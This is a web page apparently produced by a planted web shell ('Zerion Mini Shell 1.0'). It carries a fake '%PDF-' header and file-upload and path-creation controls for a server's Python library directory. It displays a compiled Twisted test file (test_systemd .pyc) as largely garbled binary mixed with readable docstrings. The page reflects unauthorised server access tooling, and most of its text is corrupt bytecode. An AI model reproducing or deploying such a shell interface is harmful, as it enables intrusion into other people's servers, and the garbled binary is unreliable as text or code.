%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/python/test/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/python/test/__pycache__/test_systemd.cpython-312.pyc

�

Ϫ�f����dZddlZddlmZmZmZddlmZmZm	Z	ddl
mZddlm
Z
mZmZddlmZddlmZd	d
lmZdeded
eeeffd�ZGd�de�Zy)z&
Tests for L{twisted.python.systemd}.
�N)�Dict�Mapping�Sequence)�assert_that�equal_to�not_)�given)�dictionaries�integers�lists)�	ListenFDs)�SynchronousTestCase�)�systemdDescriptorNames�count�pid�returnc���tjj�}t|�|d<dj	t|�D�cgc]}|�d���	c}�|d<t|�|d<|Scc}w)a+
    @param count: The number of file descriptors to indicate as inherited.

    @param pid: The pid of the inheriting process to indicate.

    @return: A copy of the current process environment with the I{systemd}
        file descriptor inheritance-related environment variables added to it.
    �
LISTEN_FDS�:z.socket�LISTEN_FDNAMES�
LISTEN_PID)�os�environ�copy�str�join�range)rr�result�ns    �B/usr/lib/python3/dist-packages/twisted/python/test/test_systemd.py�buildEnvironmentr"sd���Z�Z�_�_�
�F��u�:�F�<��"�x�x��e��(M�1�A�3�g��(M�N�F����s�8�F�<���M��)Ns�A+c��eZdZdZeee�dd���deeddfd��Z	dd	�Z
dd
�Zdd�Zdd�Z
dd
�Zdd�Zdd�Zeeedd��d���deeddfd��Zeee�ed��d���deeefddfd��Zeeedd��d���deeddfd��Zy)�ListenFDsTestszV
    Apply tests to L{ListenFDs}, constructed based on an environment dictionary.
    r�
)�min_size�max_size�namesrNc�j�t|�}tttjtj|z��}tj
t
tj��t
|�dj|�d��}t|tt|t|����y)a�
        The L{ListenFDs} and L{ListenFDs.fromEnvironment} constructors are
        equivalent for their respective representations of the same
        information.

        @param names: The names of the file descriptors to represent as
            inherited in the test environment given to the parser.  The number
            of descriptors represented will equal the length of this list.
        r)rrrN)
�len�listrr
�_START�fromEnvironmentrr�getpidrrr�tuple)�selfr(�numFDs�descriptors�fdss     r!�test_fromEnvironmentEquivalencez.ListenFDsTests.test_fromEnvironmentEquivalence*s����U����5��!1�!1�9�3C�3C�f�3L�M�N���'�'�!�"�)�)�+�.�!�&�k�"%�(�(�5�/�
�
��	�C��)�K��u��"F�G�H�c	��|jtdtdtj���t	j
�}|j
ttdd��|j��y)z�
        If the process environment is not explicitly passed to
        L{ListenFDs.fromEnvironment}, the real process environment dictionary
        is used.
        r���N)
�patchrr"r.r
r-�assertEqualr+r�inheritedDescriptors)r0�sddaemons  r!�test_defaultEnvironz"ListenFDsTests.test_defaultEnviron@sT��	
�
�
�2�y�"2�1�b�i�i�k�"B�C��,�,�.������e�A�u�o�.��0M�0M�0O�Pr5c�>�tdtj��}tj|��}tj|��}|jt
tdd��|j��|jg|j��y)a
        L{ListenFDs.fromEnvironment} removes information about the
        inherited file descriptors from the environment mapping so that the
        same inherited file descriptors cannot be handled repeatedly from
        multiple L{ListenFDs} instances.
        r8�r�N)	r"rr.r
r-r;r+rr<)r0�env�first�seconds    r!�test_secondEnvironmentz%ListenFDsTests.test_secondEnvironmentJss���q�"�)�)�+�.���)�)�#�6���*�*�3�7������e�A�q�k�*�E�,F�,F�,H�I�����V�8�8�:�;r5c��tdtj�dz�}tj|��}|jg|j
��y)aV
        If the current process PID does not match the PID in the
        environment then the systemd variables in the environment were set for
        a different process (perhaps our parent) and the inherited descriptors
        are not intended for this process so L{ListenFDs.inheritedDescriptors}
        returns an empty list.
        r8rr@N�r"rr.r
r-r;r<�r0rBr=s   r!�test_mismatchedPIDz!ListenFDsTests.test_mismatchedPIDWsC���q�"�)�)�+��/�2���,�,�S�9������X�:�:�<�=r5c��tdtj��}|d=tj|��}|jg|j
��y)z�
        If the I{LISTEN_PID} environment variable is not present then
        there is no clear indication that any file descriptors were inherited
        by this process so L{ListenFDs.inheritedDescriptors} returns an empty
        list.
        r8rr@NrGrHs   r!�test_missingPIDVariablez&ListenFDsTests.test_missingPIDVariablecsG���q�"�)�)�+�.������,�,�S�9������X�:�:�<�=r5c��tdd�}tj|��}|jg|j	��y)z�
        If the I{LISTEN_PID} environment variable is set to a string that cannot
        be parsed as an integer, no inherited descriptors are reported.
        r8�hello, worldr@N)r"r
r-r;r<rHs   r!�test_nonIntegerPIDVariablez)ListenFDsTests.test_nonIntegerPIDVariableos9��
�q�.�1���,�,�S�9������X�:�:�<�=r5c��tdtj��}|d=|d=tj|��}|jg|j
��y)z�
        If the I{LISTEN_FDS} and I{LISTEN_FDNAMES} environment variables
        are not present, no inherited descriptors are reported.
        r8rrr@NrGrHs   r!�test_missingFDSVariablez&ListenFDsTests.test_missingFDSVariablexsP��
�q�"�)�)�+�.������ �!��,�,�S�9������X�:�:�<�=r5c��tdtj��}d|d<tj|��}|jg|j
��y)z�
        If the I{LISTEN_FDS} environment variable is set to a string that cannot
        be parsed as an integer, no inherited descriptors are reported.
        r8rMrr@NrGrHs   r!�test_nonIntegerFDSVariablez)ListenFDsTests.test_nonIntegerFDSVariable�sI��
�q�"�)�)�+�.��*��L���,�,�S�9������X�:�:�<�=r5)�	min_value�	max_valueT)�uniquer2c��ttt|��}t||�}|j	�}t|t
|��|jd�t|tt
|���y)zm
        L{ListenFDs.inheritedDescriptors} returns a copy of the inherited
        descriptors list.
        rN)	r/�maprr
r<rr�appendr)r0r2r(r3�fdsCopys     r!�test_inheritedDescriptorsz(ListenFDsTests.test_inheritedDescriptors�s^���c�#�{�+�,����U�+���*�*�,���K��'�!2�3����q���K��h�w�&7�!8�9r5)rS)r'�expectedc��t|j��}|D��cgc]\}}|��	}}}|D��cgc]\}}|��	}}}t||�}t|j	�t|��ycc}}wcc}}w)z�
        L{ListenFDs.inheritedNamedDescriptors} returns a mapping from the
        descriptor names to their integer values, with items formed by
        pairwise combination of the input descriptors and names.
        N)r+�itemsr
r�inheritedNamedDescriptorsr)	r0r[r]�name�_r(�fdr2r3s	         r!�test_inheritedNamedDescriptorsz-ListenFDsTests.test_inheritedNamedDescriptors�so���X�^�^�%�&��%*�+�'�$���+��+�',�-�e�a��r�-��-���U�+���C�1�1�3�X�h�5G�H��,��-s
�A2�A8c��ttt|��}t||�}|j	|j�|j��|j	|j
�|j
��y)z�
        Any subsequent calls to C{inheritedDescriptors} and
        C{inheritedNamedDescriptors} return the same list.
        N)r/rWrr
r;r<r^)r0r2r(r=s    r!�
test_repeatedzListenFDsTests.test_repeated�sm���c�#�{�+�,���[�%�0������)�)�+�X�-J�-J�-L�	
�	
����.�.�0�(�2T�2T�2V�	
r5)rN)�__name__�
__module__�__qualname__�__doc__r	rrrrr4r>rErIrKrNrPrRr�intrZr
rrbrd�r5r!r$r$%s$����5�'�)�A��C�D�I�X�c�]�I�t�I�E�I�*Q�<�
>�
>�>�	>�>��5��A��4�T�B�C�
:�X�c�]�
:�t�
:�D�
:��<�.�0�(�Q�2G�RT�U�V�
I�w�s�C�x�7H�
I�T�
I�W�
I��5��A��4�T�B�C�
��#��
�4�
�D�
r5r$)rhr�typingrrr�hamcrestrrr�
hypothesisr	�hypothesis.strategiesr
rr�twisted.python.systemdr
�twisted.trial.unittestr�
strategiesrri�objectrr"r$rjr5r!�<module>rss^���

�*�*�0�0��?�?�,�6�.�
�C�
�f�
��c�3�h��
� O
�(�O
r5

Zerion Mini Shell 1.0